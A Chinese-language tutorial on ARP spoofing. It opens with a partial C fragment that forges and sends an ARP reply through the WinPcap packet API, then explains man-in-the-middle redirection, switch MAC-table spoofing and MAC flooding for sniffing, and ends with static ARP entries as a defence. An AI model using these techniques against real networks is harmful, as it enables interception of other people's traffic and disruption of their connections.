案例讲解如何对目标进行ARP欺骗

(lpAdapter->hFile == INVALID_HANDLE_VALUE)){nRetCode = GetLastError();printf("Unable to open the driver, Error Code : %lx\n", nRetCode);return 0;}lpPacket = PacketAllocatePacket();if(lpPacket == NULL){printf("\nError:failed to allocate the LPPACKET structure.");return 0;}ZeroMemory(szPacketBuf, sizeof(szPacketBuf));if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)){printf ("Get Mac address error!\n");}memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。 （A的地址）ARPPacket.ehhdr.eh_type = htons(EPT_ARP);ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);ARPPacket.arphdr.arp_pro = htons(EPT_IP);ARPPacket.arphdr.arp_hln = 6;ARPPacket.arphdr.arp_pln = 4;ARPPacket.arphdr.arp_op = htons(ARP_REPLY);if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)){printf ("Get Mac address error!\n");return 0;}memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));PacketInitPacket(lpPacket, szPacketBuf, 60);if(PacketSetNumWrites(lpAdapter, 2)==FALSE){printf("warning: Unable to send more than one packet in a single write!\n");}if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE){printf("Error sending the packets!\n");return 0;}printf ("Send ok!\n");###NextPage###// close the adapter and exitPacketFreePacket(lpPacket);PacketCloseAdapter(lpAdapter);return 0;}

于是A接收到一个被伪造的ARP应答。 A被欺骗了！！倘若在局域网中看某某机器不顺眼， 以太网中的嗅探太有作用了， 但是交换网络对嗅探进行了限制， 让嗅探深入程度大打折扣。 不过， 很容易就能够发现， 主机、Switch（动态更新地址表类型， 下同）中的缓存表依然是（主要是）动态的。 要在一个交换网络中进行有效的嗅探工作（地下党？）， 需要采用对付各种缓存表的办法， 连骗带哄， 甚至乱踹， 在上面的ARP欺骗基础中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样， 对目标A进行欺骗， A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。 如果进行欺骗的时候， 把C的MAC地址骗为BB-BB-BB-BB-BB-BB， 于是A发送到C上的数据包都变成发送给B的了。 这不正好是B能够接收到A发送的数据包了么， 嗅探成功。

A对这个变化一点都没有意识到， 但是接下来的事情就让A产生了怀疑。 因为A和C连接不上了！！B对接收到A发送给C的数据包可没有转交给C。 做“man in the middle”,进行ARP重定向。 打开B的IP转发功能， A发送过来的数据包， 转发给C， 好比一个路由器一样。 不过， 假如B发送ICMP重定向的话就中断了整个计划。 直接进行整个包的修改转发， 捕获到A发送给的数据包， 全部进行修改后再转发给C， 而C接收到的数据包完全认为是从A发送来的。 不过， C发送的数据包又直接传递给A， 倘若再次进行对C的ARP欺骗。 现在B就完全成为A与C的中间桥梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存， 它一般是这样， 首先， 交换机内部有一个对应的列表， 交换机的端口对应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址， 这个表开始是空的， 交换机从来往数据帧中学习。 举例来说， 当Port 1口所接的计算机发出了一个数据帧， 这帧数据从Port 1进入交换机， 交换机就取这个数据帧的原MAC地址AAAA， 然后在地址表中记录：Port 1 <-> AAAA, 以后， 所有发向MAC地址为AAAA的数据帧， 就全从Port 1口输出， 而不会从其它的口输出。

跟前面对目标进行欺骗相类似。 如果把Switch上的MAC-PORT表修改了， 那么对应的MAC和PORT就一样跟着改变， 本来不应该发送到嗅探器的数据结果发送过来了， 这样也达到了嗅探的目的。 修改本地（B）发送的数据包MAC地址为原来A的MAC地址， 当经过交换机的时候， 交换机发现端口B对应的地址是机器A的MAC地址， 于是就将会把A的MAC地址同端口B相对应， 从而把发送给A的数据从端口B传输了， 本来这些应该是传送到端口A的。 因此， 从机器B就能够获得发送给A的数据。

但是， 这里有一个问题， A将接收不到数据了。 嗅探不目的并不是要去破坏正常的数据通讯。 同时， 从刚才的欺骗中， 让交换机中一个MAC地址对应了多个端口， 这种对于交换机处理还不清楚。 还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理， 因为MAC-PORT缓存表是动态更新的， 那么让整个Switch的端口表都改变， 对Switch进行MAC地址欺骗的Flood， 不断发送大量假MAC地址的数据包， Switch就更新MAC-PORT缓存， 如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了， 那么Switch就会进行泛洪发送给每一个端口， 让Switch基本变成一个HUB， 向所有的端口发送数据包， 要嗅探的目的一样能够达到。

存在的问题， Switch对这种极限情况的处理， 因为属于不正常情况， 可能会引起包丢失情况。 而且现在对这种极限情况的Switch状态还很不了解。 如果对网络通讯造成了大的破坏， 这不属于正常的嗅探（嗅探也会引起一些丢失）。

对Switch进行各种手段的操作， 需要小心， 如果打开了端口保护， 那么可能会让交换机关闭所有用户。 因此， 对交换机这样的设备进行欺骗或者其他操作， 还不如对一些上级设备进行欺骗， 比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。 因此， 使用静态的ARP就能够进行防范了。 对于WIN， 使用arp -s 来进行静态ARP的设置。

……